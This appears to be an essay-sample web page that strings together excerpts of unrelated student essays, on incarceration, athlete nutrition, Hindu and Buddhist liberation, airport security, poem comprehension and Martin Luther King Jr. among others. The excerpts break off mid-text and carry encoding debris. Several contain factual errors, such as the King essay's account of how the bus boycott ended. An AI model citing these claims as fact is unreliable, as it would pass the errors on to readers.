the organization first to study organizational behavior more clearly. Organization is a focused system with some subsystems where persons and actions are organized to attain some particular, predetermined goals and objectives through division of labor, effective utilization of resources, and the coordination of activities. Division of labor means how the works are divided among the staff that is, keeping the right person for the right job. Coordination of work becomes more important, as it can lead to accomplishing the goals of the organization, by integrating the activities of each and every employee in the organization. The word ‘organizing’ is used to denote the aspect of administrative activities needed for an entrepreneur in preparing and setting up the diverse tasks to fulfill or complete the job. The managers in an organization may have to face many challenges and opportunities to use organizational behavior theories to improve the general effectiveness of persons, teams and organization. Based on behavioral science and some additional interdisciplinary matters, the managers can address the following issues with in an organization. Improving People Skills Improving Quality and Productivity Managing Workforce Diversity Empowering People Stimulating Innovation and Change Improving Ethical Behavior It is clear that Studying the field of Organizational Behavior can assist in deepening our understanding of why people in an organizational setting behave in the ways that they do. â€Å"The ability to explain people’s behavior is critical to making recommendations for improvement if we make poor explanations, and poor recommendations. In an organizational setting, this can lead to a continuation of poor performance. In contrast, if we make strong and accurate observations, we can make strong recommendations that have a demonstrable impact on people and the business† (Why People Do What They Do n.d.). It can be said that

Consequences of high incarceration rate Term Paper

Consequences of high incarceration rate - Term Paper Example Research addressing the impact of parental incarceration on children has identified developmental, emotional, psychological, social, educational, and behavioral consequences for these children (Trice & Brewster, 2004). There is some consensus in the literature identifying some of the serious, detrimental consequences for children of all ages who experience parental incarceration. These issues must be identified and addressed as children of incarcerated parents are viewed as a unique, group with special service needs. Number of Incarcerated Parents The Bureau of Justice Statistics in an August 2000 special report identified a total of 1,284,894 prisoners of which, 721,500 were parents. Within this group of incarcerated parents, 46% resided with at least one minor child at the time of incarceration (Mumola, 2001). Of this group of parents incarcerated, 32% reported having more than one child less than 18 years of age (Mumola, 2001) and 37% reported living with their children in the mon th previous to their arrest (Mumola, 2001). In the same year, 2.1 percent of the 72 million minors in the United States in 1999 had a parent in prison, which represents almost 1.5 million children (Harrison & Beck, 2006). Fathers were less likely to report living with their children prior to incarceration than mother, (47% federal inmates versus 73%). Of fathers imprisoned in 1999, reported the child's mother was their primary caregiver 90% of the time where as only 28% of incarcerated mothers cited their child's father as the primary caretaker (Mumola, 2001). Imprisoned mothers identify grandparents and other family members as the primary caregivers of their children 79% of the time (Mumola, 2001). From 1991 to 1999 the proportion of prison inmates who were also parents increased by more than 250,000. The aforementioned rise in female prisoners has also exacerbated an increase in the number of mothers in prison (106% versus 58% rise in fathers). In 1999, it was estimated that 1.4 m illion children had an incarcerate father and 126,100 with incarcerated mother (Mumola, 2001). Johnston, (1995a) highlights that due to the prevalence of intergenerational crime and the risk for children within these families, it is necessary to address the problem within the context of the family as well as the individual. Impact of Parental Incarceration of Children It is clear that incarceration affects millions of families in the United States. The rise in incarceration rates for both men and women has definite consequences for their children. Whether it is the absence of a father or the incarceration of a mother who is most likely the primary caregiver prior to incarceration, there are considerable consequences for children (Mumola, 2001). Children of prisoners struggle with issues that impact their psychosocial development. The stigmatization of parental incarceration is an important issue addressed in the literature as well as the impact this may have on a child's their self- concept and identity development. The separation of a child from their parent due to incarceration may have differential and devastating effects. Kampfner (1995) outlines how maternal incarceration further stigmatizes children and prevents them from having their needs met. Being witness to a mother's

Fast Food Tips for Athletes Essay Example | Topics and Well Written Essays - 750 words

Fast Food Tips for Athletes - Essay Example Since the fast food concept is based on speed, uniformity and low cost, fast food products lack the required nutritional values (Wikipedia n. pag) required particularly for an athlete. Fast food restaurants provide a quick, cheap and filling meal but these are often items which are high in fat, calories and sugar. They are also low in vitamins, minerals and fiber. Too many fat calories get in the way of eating enough carbohydrates. Carbohydrates are the body's main source of energy. Athletes require more of carbohydrate in their food. If an athlete eats too few carbohydrates, they lose energy for sports performance. It is estimated that about 60% of the calories should come from carbohydrates (bread, rice, pasta, fruits, vegetables, beans). Proteins are essential and are the basis for building muscles and fats/oils help with nerves and hormones, in the body (University of southern Maine n. pag). A proper diet should include all of these. Fat takes longer to digest than carbohydrate, which means that an athlete should cut down on high-fat snacks or meals particularly just before the game. Soft drinks are high in sugar, but do provide energy. Diet drinks have no nutritional value, especially if they contain caffeine which draws fluid out of the body should be avoided. Instead better choices are juices, seltzer, low-fat milk, hot cocoa, or just plain water (The Women's Sports Medicine Center 1999). As it is a well known fact that 70 % of our body is water. As an athlete, it's important to keep the body well-hydrated. It is also important to drink plenty of water to keep the muscles hydrated. Athletes must take care of their dietary requirements and should stay away from carbonated drinks, especially soft drinks. No junk foods such as sugary snacks or chips even if they are baked. And minimize heavy fats and proteins in pre-game meal (velocitys p.com n pag). Staying away from dairy products and too much protein like greasy hamburgers, pizza, ice cream, and cheese is good for athletes. It is good to avoid dishes that are deep fried or battered. Though soda pop and candy bars are quick burst of energy but it will drop quickly, avoiding them is good. Before the game eating high carbohydrate foods like bread, pasta, whole grains, vegetables, and fruits are considered as very good. Carbohydrates are digested quickly and provide glucose to the muscles. Meals that are good sources of carbohydrate such as rice, noodles and pasta are a good place to start. In addition, adding lean sources of protein such as lean meat, fish, chicken, beans or tofu and include plenty of vegetables are good. Sandwiches, cereal bars, fruit, juice, liquid meal supplements and bottled or powdered sports drinks are ideal (Department of Sports Nutrition, AIS). Some of the major nutritional challenges faced by athletes include achieving carbohydrate and protein requirements on a daily bases, meeting daily vitamin and mineral requirements, balancing energy intake, maintaining adequate hydration, and food safety. It is very essential to choose the right food before and after the game to complete the nutritional requirement of the body as well as to provide enough energy for the athlete to perform well in sports. Work cited Department of Sports Nutrition, AIS, Nutrition for Travelling Athletes, Australian Sports Commission (2004) 29 March 2007

Hinduism and Buddhism

Hinduism and Buddhism Concepts of karma and dharma are central to both Hinduism and Buddhism, and each has its own concept of liberation-moksa for Hinduism and nirvana for Buddhism. Yet within both traditions there are many different understandings of these concepts. This essay has three sections. First compare two different Hindu interpretations of moksha. Then compare two different Buddhist understandings of nirvana. Finally, briefly compare and contrast the Hindu approaches with the Buddhist approaches. There are two major influential religions in Asia that are spreading quickly all over the world. They are Hinduism and Buddhism. There is a misconception that surrounds these two words, moksha and nirvana, they are not the same even though the two concepts may appear similar. In the following essay I will distinguish the different understandings and interpretations of these two concepts and then I will compare and contrast the differences and the similarities. The concept of moksha in Hinduism and the concept of nirvana in Buddhism are the central focus of these two religions. Both of these concepts have their different ways of achieving their goal and they have differences. I willwrite two different interpretations of moksha in Hinduism and the approaches of two philosophical schools that emerged to teach the approach of how moksa can be attained. I will do the same for nirvana in Buddhism, going into details of different understanding of this concept and I will conclude with analyz ing the similarities and contrasts of these concepts which are followed in the same street, just are located in opposing sidewalks. Moksa itself in Sanskrit language means release and its meaning is to be liberated from the cycles of sansara, reincarnation, and the pains and the suffering of karma by achieving immortality through eternal truth. Different Hindu philosophies schools emerged in India, each with the interpreting their own understanding of moksha. One of these philosophic schools was Vedanta which was divided in different sub schools with each of their own interpretations of moksha. One of those is Shankars Advaita Vedanta School where they perceive that moksha can be acquired only when the human soul realizes that it is one being with the Brahman. According to them, a person can only achieve moksha when he realizes the truth in himself that his soul is part of Brahman and Brahman is part of his soul, or atman as they name it, and once this dualistic approach has been acknowledged then the person has achieved his true form,he has been enlighten and has broken free from the cycle of reincarnation, sans ara. The only way a person can do this is by self effort. On the other hand, Ramanujas Vishishtadvaita Vedanta School promoted another approach to achieve moksha. They followed another direction which is worshipping the god Vishnu. Their theistic approach taught people that by recognizing the soul, matter, and God, anyone can obtain mokshaby an easier way which connects people on a personal level with the Supreme Being. Nirvana in Buddhism is understood as the end of suffering. There is not a clear definition of nirvana as it can be understood in many different ways but it is the highest spiritual achievement which dissolves pains, anger, greed, desire and all forms that create suffering. In Buddhism three major central schools emerged to teach the way of enlightenment, and those were Vajrayana, Mahayana, and Theravada but I will focus on the last two doctrines. Theravada doctrine emphasises on the understanding of nirvana can be reached when the person realises the true nature of reality and has an awakening of itself. These people are called arahants. This can be achieved through many lifetime spiritual persuasions of enlightenment where the person has broken off from the cycles of rebirth, and has became a Buddha, a bodhi which has the same meaning as nirvana, the enlighten. Mahayana doctrine on the other hand has developed another understanding of nirvana. They believe that Buddha is not just a human figure but a supreme being that we cannot even perceive of its greatness and helps us achieve nirvana. This means that we are still subject to delusion even though nirvana has been attained, instead bodhi has a higher rank in spiritual achievement and once bodhi has been attained, a person can become Buddha. In Hinduism the concept of reincarnation refers to an eternal element that travels from one life to another. This element takes different forms and shapes of different living things among its eternal life. This is the soul, or the atman as it is called in Hinduism. In contrast, Buddhism has the concept of rebirth which is the continuation of the state of mind in a different human being but not its soul since its explanation is that a lot spiritual events had to happen to create the second life form and yet not a different person due to the causality relation. Thus we can see the difference clearly of Nirvana where there is the realization accomplishment of the discontinuance of individuality and Moksha is the fulfillment acquisition of the truth of the affinity of your soul, atman, and Brahman. In both cases, individuality is lost but in different understanding and interpretations. Both religions have a lot of terminology and even names of deities in common, but in every single case, the meaning is actually different both believe in reincarnation/rebirth, but the interpretation is different; both believe in karma, but the interpretation is slightly different; both believe in samsara (the cycle of rebirth and suffering) and liberation from samsara (moksha/nirvana), but the interpretation is widely different, about liberation; both have yoga, tantra, dharma, mantra, and so on, but often mean different things with the words; the significance of gods or deities is grossly different in Hinduism several of them are important objects of veneration, even seen as emanations of the supreme God (Brahman), whereas they are never objects of veneration or prayer in Buddhism, only seen as deluded sentient beings who will finally die and be reborn in a new body like you and me. They strive for an inner peace, and finally to reach heaven through either moksha or nirvana.

Does Airport Security Make Us Safer? Essay -- airport security is utte

On the morning of 22 March 2016, three coordinated nail bombings occurred in Belgium: two at Brussels Airport in Zaventem, and one at Maalbeek metro station in Brussels. In these attacks, 32 victims and three suicide bombers were killed, and over 300 people were injured. Another bomb was found during a search of the airport. Islamic State of Iraq and the Levant (ISIL) claimed responsibility for the attacks.[1] 1. "Another bomb found in Brussels after attacks kill at least 34; Islamic State claims responsibility". The Los Angeles Times. Retrieved 22 March 2016. It has become a regular part of air travel, the common airline passenger expects to have to undergo certain screenings before they ever board an aircraft. The procedure of removing shoes, jackets, belts, laptops, etc. has become a regular occurrence and most people feel a feeling of security because these precautions are taken with every passenger. But are travelers as safe as they feel? Airports are broken into five areas of security, the Public area, Sterile, SIDA (Secure Identification Display Area), Air operations Area, and Secure. The common thoughts about security breaches at an airport are those of someone getting through the sterile area, this area is where individuals are screened prior to getting to the aircraft gates. The reason for this perception stems from the attacks on the morning of September 11th 2001, where nineteen hijackers made it through security screening and on to four aircraft leading into the worst loss of life due to terrorism in the history of the United States. However, this paper will focus on the latter security areas through the security precautions taken to try and prevent unauthorized access as well as notable failur... ...13, from http://www.nec-nis.co.jp/en/product/videosecurity/hbacs/ Oliver, B. (2013, February 20). Investigation: Airport security - Dallas News | myFOXdfw.com. Investigation: Airport security - Dallas News | myFOXdfw.com. Retrieved November 18, 2013, from http://www.myfoxdfw.com/story/21290524/investigation-airport-security Pescador, K., Renga, A., & Gay, P. (2012). N/A. San Diego International Airport, Lindbergh Field (p. 110). s.l.: Arcadia Publishing (SC). Stereovision. (n.d.). The ultimate in anti-piggybacking technology. Stereovision. Retrieved November 20, 2013, from http://www.boonedam.us/securityaccess/stereovision.asp Stoller, G. (2011, July 12). Airport security breaches since 2001 raise alarms. USATODAY.COM. Retrieved November 24, 2013, from http://travel.usatoday.com/flights/story/2011/07/Airport-security-breaches-since-2001-raise-alarms/49326312/1

The Importance of School, Article

1. Give a word that best describes the persona. Curious. 2. Name something that ‘flash about’ in the poem. Lightning(stanza 4) 3. From the poem, we can conclude that the persona wants to know How nature works. 4. How does the persona feel about his father not answering his questions? The persona is confused and puzzled as to why her father refuses to answer her questions. 5. Who do you think the persona in the poem is? Explain why you think so? He must be a little child because he is very inquisitive. He also does not understand many simple things. He is very innocent. . Who is the persona in the poem? A child. 7. Based on the poem, what element of Nature can be felt but can never be seen? Wind. 8. What is the poem about? Wonders of Nature. 9. Which word in the poem shows that the persona has a lot of questions to ask? And. 10. The phrase ‘blow out’ refers to The star. 11. The use of wh-questions shows that The persona wants to know more about the wonders of nature. 12. The persona in the poem is very observant. 13. The phrase’ where can the missing bit be found’ describes The moon. 14. Why is the persona disappointed?His questions are not answered. 15. Give an expression that tells us that the shape of the moon changes from time to Time not quite round. 16. The phrase ‘the lightning flash about’ appeals to the sense of sight. 17. The title ‘I wonder’ reflects the persona’s curiosity. 18. What does the word ‘fluffy’ mean? Feathery. 19. Give one word that describes the persona. Curious. 20. What does the persona find puzzling about the birds? How birds know how to build their nest. 21. In the first stanza, what does the word ‘wonder’ indicate? Curiosity. 22.What does the phrase ‘if he knows’ in the last stanza tell about the persona? Tells us that the persona thinks his father may not know how nature works. 23. Who is the persona in the poem? A young c hild. 24. Explain in your own words, what you understand by the last 2 lines. The child is disappointed that her father does not know how to answer her questions on nature. 25. Which phrase in the extract shows that the persona is inquisitive about nature? ‘I wonder why’. 26. Explain in your own words the phrase ‘the trees to take a rest’ The trees have stopped growing. 27.What is missing according to persona? A part of the moon. 28. From the extract, which element in the sky is colourful? Rainbow. 29. What does the phrase fluffy clouds mean? The clouds are life soft cotton floating in the sky. 30. Which element in the extract is described as cannot be seen but can be felt? Wind. 31. How would you feel if your questions are not answered? I would be disappointed. 32. What would you do to get the answers to the questions? I would surf the internet to get the answers. 33. What is the poem about? It is about the wonders and mysteries of nature. 34.Do you think the boy’s father knows the answer to his questions? No, he doesn’t. 35. Quote a line/ two lines to support your answer ‘Why is it now, do you suppose, that Dad won’t tell me, if he knows? ’ 36. When do we see the rainbow in the sky? After the rain. 37. The ‘fluffy clouds’ indicate that the sky is Bright. Mohana Ram Murugiah Page 1 englishvibes. blogspot. com 38. Birds usually have their habitats in trees. 39. The main theme of the poem is elements in nature can be puzzling. 40. The persona in the poem is most probably a child. Mohana Ram Murugiah Page 2 englishvibes. blogspot. com

HOW USEFUL IS THE TERM CULTURAL REVOLUTION essays

HOW USEFUL IS THE TERM CULTURAL REVOLUTION essays HOW USEFUL IS THE TERM CULTURAL REVOLUTION I propose to define and to argue the question "How useful is the term Cultural Revolution when applied to the Sixties?" My objective is to include examples from history, history of science and religion. Let us first consider Arthur Marwicks decision to periodise the sixties from 1954 to 1975 and Eric Hobsbawms periodisation (within his book Age of Extremes, written in 3 parts) with the sixties contained in the Golden Age. These dates of periodisation are certainly interesting hypothesis. War dominated the culture existing at the beginning of the 20th Century, i.e. the 1914-18 War, followed a few years later by the World War II 1939-45. Europe and Britain suffered massive losses of life. Then came the spread of Communism after the World War II. America became paranoid about the spread of Communism, and because of this entered into a war with Vietnam; with disastrous consequences; they lost hundreds of thousands of young men; and completely failed to stop the spread. The Vietnam war came to an end through people power. Country-wide mass protests were held; people were sickened by the numbers of lives lost, and they questioned the futility and morality of war Then came th e many threats of global annihilation by the so-called super powers (America and Russia). In Britain, children born at the end of the World War II were brought up in a stultifying economic and cultural environment. They were taught not to question; "seen and not heard.". Adherence was given to the churches strict moral teachings; and the class system was still very deeply entrenched in society. Sex was not discussed openly; therefore, many young people were sexually inexperienced and had little or no knowledge of contraception. Young unmarried women who became pregnant outside marriage were ostracised. The working classes at this time wer...

Guide and Tips to Write a Definition Essay

Guide and Tips to Write a Definition Essay A Complete Guide on How to Write a Definition Essay What can be better for a student than writing tons of essays every week? Aren’t you one of those writing addicts? Then you may find the academic process rather boring and difficult. With so many academic assignments. Many students simply fail to complete the course due to a lack of writing skills. However, becoming an advanced writer is easier than it may seem. Our complete essay-writing guide will put an ease on the writing process as well as make your college life simpler. Tips on writing a definition essay Our complete guide includes a systematic instruction on how to write a definition essay. All you need is to follow each step as well as add some creative work to make your paper look outstanding. You will certainly get the A grade effortlessly. Describe your idea Choose a word that will perfectly describe your concept or paper idea. This word is supposed to become a fundamental issue. It will let you broaden the view of the topic itself. â€Å"Love†, â€Å"Hate†, â€Å"Truth† – look for the definition in the dictionary and pick a proper word for your essay. Avoid complicated objects Avoiding complicated objects and specific things is the best way to stay away from writing troubles. Never choose too mundane objects that are hard to define. Avoid too simple words like â€Å"table† or â€Å"chair. They will narrow down the process of creative thinking. Select a term ft. several definitions A good idea is to choose a word featuring multiple definitions and meanings. However, make sure that you do know the word and have a clear understanding of all the available meanings. It will provide more opportunities to write about different aspects of the word. Look the word up in a dictionary The first step is to find the official definition of a chosen word. Look it up in a dictionary. Memorize it and create a structure for the definition to reveal possible writing paths. The idea here is to find out as much about the word origin as you can. Use all available sources ranging from encyclopedias, original dictionaries, online resources, etc. Ask your friends, relatives, and teachers about the word. Summarize the information Get all the facts you know about one place and summarize the info. The main idea at this stage is to create your own vision of the word as well as your own definition. How to build an outline for the definition essay? Building an outline for the definition essay is the same as working out a clear plan. It should contain all vital aspects of the major work arranged in a reader-friendly manner. The main mission here is to establish a comprehensive coherence between each paragraph. The draft should include the following points: Introduction – introduce the main idea of your paper. Let readers know what you are going to speak about; Thesis Statement – make a strong statement describing the word or term you are going to define. Avoid writing too much in a thesis statement. Make it brief but clear; Body Paragraph – body paragraphs come as the major part of your paper. Make sure they are well organized and contain sections that are logically connected; Conclusion – right a short summary of your paper highlighting the core ideas related to the word. You need to make the ending of your paper interesting and impressive. Include some arguments and points to hammer the key ideas of the essay. It will certainly make an impact resulting in A grade for your work.

Current Best Practices That Are Followed When Undertaking Surveys Essay

Current Best Practices That Are Followed When Undertaking Surveys - Essay Example Market surveys identify what appeals to the customers, when customers make purchases, the preferred distribution and promotional outlets of the products. Secondary data is usually available in either electronic or publicized form and includes company reports, newspaper articles and government agencies data. Primary data is collected purposely for solving the marketing problem and involves use of surveys, focus groups, interviews and experiments. Aims The main aim of the research paper is to identify different types of marketing surveys, their advantages and disadvantages in collecting primary data that is useful in market research. The paper also aims at outlining several survey strategies and examples of multiple choice and open-ended questions in surveys. The paper includes the use of rating scales, bar charts, pie charts in data analysis. Methodology The paper has utilized previous literature in order to identify different types of marketing surveys. Surveys are the most common method used by organizations in primary data collection and include mail surveys, telephone surveys, internet surveys, and face-to-face surveys or interviews. The less formal methods of surveys include informal interviews and observation. The selection of survey method will depend on factors such as the budget, the purpose of the study, the characteristics of target population and time availability. Mail surveys reach a large population and surveyor mails the written questions to the sampled population. The mailing list can be prepared from local phone book, yellow pages or past customer contacts. The main disadvantage of mail surveys is that many respondents may not return the completed survey. Telephone surveys entail calling the individuals and responses can be analyzed immediately as the caller will encourage the respondent to provide more details. However, telephone interviews are expensive for small companies. face-to-face surveys entail in-person interviews, but may require a lot of personnel thus are expensive. Internet surveys reach large random population and some web surveys offers tools for data analysis. Observation entails taking note of consumers shopping behavior in order to determine their preferred products. Survey strategies involves having a focus group or pilot surveys that identify if the questions are worded correctly. Conclusion The purpose of the above paper is to offer insight of survey methods and primary data analysis for marketing research. Critique paper Title: conducting market research using primary data Authors: Kyunda R. Curtis, Ph.D. (Department of Resource economics, University of Nevada) Published: The above research paper fails in outlining the best practices that are involved in conducting marketing research. I believe the first step entails defining the problem and objectives of the survey. The researcher must specify the sources of data and information that will be used in the research. The researcher should assess the time and cost involved in carrying out the research through a cost-benefit analysis before committing huge resources towards the study. The knowledge of objectives makes it easier to generate the survey questions and choice the target population (Ferrell & Pride, 2012). The researcher should also select a sample among the target population. The researcher should consider the expected margin of error and costs in selecting the size of the sample (Smith & Albaum, 2005). The researcher s

EU Official Control of Foodstuffs Assignment Example | Topics and Well Written Essays - 2750 words

EU Official Control of Foodstuffs - Assignment Example In this regard, the European community has laid down the regulation on the official foodstuff control system Regulation (EC) No 882/2004 on 2004, in order to ensure the objective of food safety and adopt requisite measures. These regulatory guidelines are implemented in order to overcome the drawbacks associated with the previous legislation to ensure the control in food management approaches and design common national control systems for the European zone (2Europa, 2010; EUE-Lex, 2004). Correspondingly, this study intends to address the topic related to official foodstuff controls system with a special focus on Poland. Poland is one of the rapidly growing economies, wherein it is observed that the foodstuff sector play a critical role to maximise the growth of the nation. In accordance, the report will summarise the aspects related to meat inspections abattoirs, food products, border Inspection, food emergencies and the role of government in it. Poland is one of the fastest developing nations of the EU with a population of around 38 million and a GNI of around $ 13,080 per capita. The nation is termed as one of the largest economies, located in Central Europe (The World Bank Group, 2014). The national strategic plan of Poland has been working with the motive to improve the competitive position of food industry by implementing various preventive methods in its food chain. Due alignment has also been focused by the food management authority in the EU with the already enacted regulations in the food market (International Finance Corporation, 2010). The Republic of Poland is an organisational structure incorporated of a central level, which has 16 regions, 379 districts and 2478 municipalities. The central level of the nation is equipped with the overall responsibility and authority to control animal health and their welfare, agricultural food safety and safety measures through the various channels of food supply in these nations. Both the

Case study Assignment Example | Topics and Well Written Essays - 750 words - 2

Case study - Assignment Example It is in this essay therefore that we shall focus on the main concepts of the humanistic theory, its strengths as well as criticisms. The main focus of this theory was the freedom of an individual, self-actualization, their individual freedom and determination. One of the beliefs of the humanistic theory is that human beings are genetically or rather born as good and smart people. It is therefore the problems they encounter in the course of their life and growth; mental and social ones that end up shifting them far away from their wonderful innate ability (Maslow, 1968). Maslow came up with five levels of hierarchy of needs which include food, safety, love, self-esteem and self-actualization. The first four include the basic needs that an individual has to have met in order to be ready for the self-actualization stage. Maslow came up with these needs due to curiosity as to what contributes to human happiness and what they therefore do to make sure the happiness is achieved. He was eager to find out what motivates human behavior; human beings are known to have the unending desire of self-actualization and can do al l that is in their capacity to make sure their goals are achieved. This satisfaction is however only set to happen after the first four basic needs have been met. Humanistic theory is quite important to the life of an individual as its emphasis is on the importance of an individual in achieving their goals as well as what to think. They are to make sound decisions on their own without having to listen to discouraging words from other people who are merely pessimistic. This theory also makes it clear to an individual that behavior is not only influenced by what we think, but the environment too. The environment is where our lives are at all times spent, whatever is happening around us therefore can heavily influence our thoughts and therefore behaviors (Rogers, 1951). Humanistic theory has also proven to be very helpful in

Martin Luther King Essay Example for Free

Martin Luther King Essay â€Å"I have a dream that one day my four little children will one day live in a nation where they will not be judged by the color of their skin, but by the content of their character† (â€Å"Martin Luther King Jr.†). These wise and upholding words of confidence and determination changed the face of America during a time of hate and discrimination. King’s inspirational leadership and speeches helped make a local bus protest into a historical event (â€Å"King, Martin Luther Jr. †) He gathered thousands of people, both black and white, to many encouraging protests and meetings to bring a hateful and racist world to peace. His strategy of â€Å"encouraging nonviolent protest and interracial cooperation helped him to fight effectively again the southern system† (King, Martin Luther Jr.†). These strategies were also based on the belief of Indian pacifist Mohandas Gandhi. Martin Luther King Jr.’s ambition to seek a perfect world was extravagant; he will always be in the minds and hearts of Americans in years to come. Martin Luther King Jr. was born on January 15, 1929, in Atlanta, Georgia (â€Å"Martin Luther King Jr.†). His birth name was Michael, but he later changed it to Martin (â€Å"Martin Luther King Jr.†). His parent’s names were Alberta and Martin Luther King, Sr. Alberta was a homemaker and Martin Sr. was a minister (â€Å"Martin Luther King Jr.†). Martin Jr. also had an older sister, named Christine, and a younger brother, named Alfred Rogers 2 (â€Å"Martin Luther King Jr.). Young Martin grew up in Atlanta to a very loving family highly devoted to service and faith. When Martin was young, he first encountered racism when his friends’ mother (who was white) did not allow him to play with her white son (Darby 8). Martin was too young to understand completely the meaning of why he was not allowed but the message he was simple, blacks were different from whites (Darby 9). Martin’s knowledge was known at a young age. He began reading at a very early age; his favorite books were about black history and the people who made it (Darby 13). He went to school at local segregated schools in Atlanta. He went to school when he was only five years old, but at the time it was only legal for kids to start school at the age of six. After officials found this out, he was forced to wait another year and start again. Martin attended Young Street Elementary and David Elementary Schools. When Martin was a junior in high school he was taking college exams that showed how advanced he was (â€Å"Martin Luther King Jr.†). He was able to go to college at the age of fifteen, skipping two years of high school. Martin attended Morehouse College, an all boy’s school and one of the finest black colleges in the country at the time. He studied sociology and received his bachelor’s degree Morehouse in 1948 (â€Å"Martin Luther King Jr.†). At the time Martin was thinking about becoming a minister. His father being a key role model on his decision to become a minister, he described his decision as an â€Å"inner urge,† calling him to â€Å"serve God and humanity (Carson 501). He was ordained during his final semester at Morehouse (Carson 502). At this time and point in his life, this is also where Martin began to precede his first steps towards his political spotlight. After departing Morehouse, King increased his understanding of liberal Christian thoughts while attending Crozer Theological Seminary in Chester, Pennsylvania from 1948 to 1951 (Carson 502). King had interest in Reinhold Niebuhr neorthodoxy which emphasized the impact of social evil. Martin added he didn’t begin a quest or method to eliminate social evil until he attended Crozer (Darby 20). Even as he continued to question and modify his own religious belief, he was performing outstandingly and graduated at the top of his class (Carson 502). He won the Plafker Award for the most outstanding student and received the J. Luis Crozer fellowship to study at any university of his choice (Darby 21). His parents gave him and hug and bought him a brand new Chevy. After graduating from Crozer, King began his doctoral studies in systematic theology at Boston University in School of Theology (Carson 502). The paper King had written during his time at Boston University had showed little originality but much plagiarism but had also formulated a decent perspective (Carson 502). By the time King had completed his doctoral studies in 1955, King had a strong view upon a wide range of theological and philosophical texts to express his views with precise information (Carson 502). His new and increased theological insights became known as he expanded his preaching activities at local Boston churches where he had assisted his father at masses. Also during King’s stay in Boston, he had met Coretta Scott, an Alabama born Antioch graduate who was then a student at the New England Conservatory of Music (Carson 502). On June 18, 1953, the students were married in Marion, Alabama, where Coretta’s family lived (Carson 502). During the following academic year, King began work on his dissertation which he completed during the spring of 1955. Thus finishing his dissertation, he was awarded a doctorate (Ph.D.) I theology and became Dr. Martin Luther King Jr. (Darby 23). Although he had thought about pursing an academic career, King decided to accept an offer to become the pastor of Dexter Avenue Baptist Church in Montgomery, Alabama (Carson 502). In 1955, King was selected by the Montgomery Improvement Association to protest the arrest of NAACP official Rosa Parks for refusing to give her bus seat up to a white man (Carson 502). With King as their leader, the association led a year long boycott. King gained his leadership abilities through his religious background to gradually form a strategy that involved black churches to gain white support (Carson 502). Many of King’s beliefs were also mixed with the concepts on Indian pacifist leader Mohandas Gandhi to enforce non-violence during his protests. During King’s speech at a local segregated black church, he had gathered four thousand people to hear the story of Rosa Parks (Darby 34). After Martin’s speech, people cheered and stomped their feet as their reaction. The Civil Rights Movement had begun with King as their leader (Darby 35). King had led the MIA’s plan to the use of blacks not using buses until they were legal to have the right to sit anywhere they would please. During the time when blacks did not ride buses, Martin would preach too many to â€Å"not boast or brag,† and if struck, â€Å"do not strike back† (Darby 43). One evening Martin was pulled over by an officer on his way home, he said he was speeding (Darby 29). The officer had told Martin that he was to be taken to the Montgomery Police, but the way he was taking him was a way through Klansman land. Klansman land was where many African Americans were taken, beaten, and hung without anybody knowing (Darby 40). Martin was very scared but soon relieved after seeing the sign: Montgomery Jail ahead (Darby 40). King was soon released from jail too good news; Alabama had passed the new desegregation law, this meant victory for the blacks and the beginning of change for both races (Darby 42). With the victory, Martin cautioned black people to accept their victory with dignity and to resist violence. When King had time away from his social life, he liked spending time with his three kids. Spending time with his kids had made him stronger and more ready mentally for what was to come (Darby 61). King’s campaign to end segregation at lunch counters and in hiring practices drew nationwide attention when police turned dogs and five horses onto demonstrators (â€Å"Martin Luther King Jr.†). King was jailed with hundreds of supporters, many of them being schoolchildren (â€Å"Martin Luther King Jr.†). After being released from prison, Martin and other Civil Rights Leaders began organizing the historic march in Washington D.C. A mix of races of about 200,000 gathered peacefully at the Lincoln Memorial to demand equal justice for all citizens (â€Å"Martin Luther King Jr.†). Here crowds were  intrigued by King’s uplifting â€Å"I have a Dream† speech (â€Å"Martin Luther King Jr.†). His speech emphasized his faith that all men, someday, would be brothers (â€Å"Martin Luther King Jr.†). His speech encouraged national opinion that resulted in the passage of the Civil Rights Act of 1964 (â€Å"Martin Luther King Jr.†). The act enforced desegregation of public accommodation and outlawing discrimination in public owned facilities (â€Å"Martin Luther King Jr.†). The eventful year awarded King the Nobel Peace Prize in Oslo in December. Opposition hit within the Civil Rights movement during March of 1965 at a demonstration in Selma, Alabama. The opposition was aimed at giving blacks federal voting rights that would provide legal support for the African Americans in the south (â€Å"Martin Luther King Jr.†). King organized the initial march from Selma to the state capital in Montgomery but did not lead it himself. The marchers were turned back with tear gas and night sticks. Determined for a second march, King set out with fifteen hundred marchers, black and white until the group came to a barrage of state troopers. Instead of forcing a confrontation, he led his followers to kneel and pray then unexpectedly turn back (â€Å"Martin Luther King Jr.†). The country was amazed by there actions resulting in the passage of Voting Rights of 1965 (â€Å"Martin Luther King Jr.†). In 1957, he was elected president of the Southern Christian Leadership Conference, an organization formed to provide new leadership for the civil rights movement (â€Å"King, Martin Luther, Jr.†). His ideas were based from Gandhi in the organization. In a period from 1957-1968, King traveled our six million miles and spoke over twenty five hundred times (â€Å"King, Martin Luther, Jr.†). He was arrested at least twenty times (â€Å"King, Martin Luther, Jr.†). He was assaulted at least four times (â€Å"King, Martin Luther, Jr.†). He was awarded five honorary degrees; was named Man of the Year by Time magazine in 1963 (â€Å"King, Martin Luther, Jr.†). His strategy of encouraging nonviolent protest and interracial cooperation enabled him to fight against the Southern system (â€Å"King, Martin Luther, Jr.†). King’s inspirational leadership and his speeches helped to evaluate a local bus protest into a historical event (â€Å"King, Martin Luther, Jr.†). He was not only the symbolic leader of African Americans but also a world figure. He was the youngest man ever to receive the Nobel Peace Prize (thirty five years of age). He also turned down the prize money of $54, 123 and it would go to the civil rights movement. He delivered his famous speech of â€Å"I’ve Been to the Mountaintop,† April 3, 1968 (â€Å"King, Martin Luther, Jr.†). This had been King’s last speech. At 6:01 p.m. of April 4, 1968, while standing on the balcony of his motel room in Memphis, Tennessee, where he lead a protest for striking sanitation workers, he was assassinated (â€Å"King, Martin Luther, Jr.†). Martin was a man, he was not God. His charismatic and powerful way of speaking had changed American lives until present day. He was a man of vision and determination. He was often overworked and overtired, but this had never stopped him of dreaming what could be.

The Environmental Impact of Renewable Energy Essay -- Energy Resources

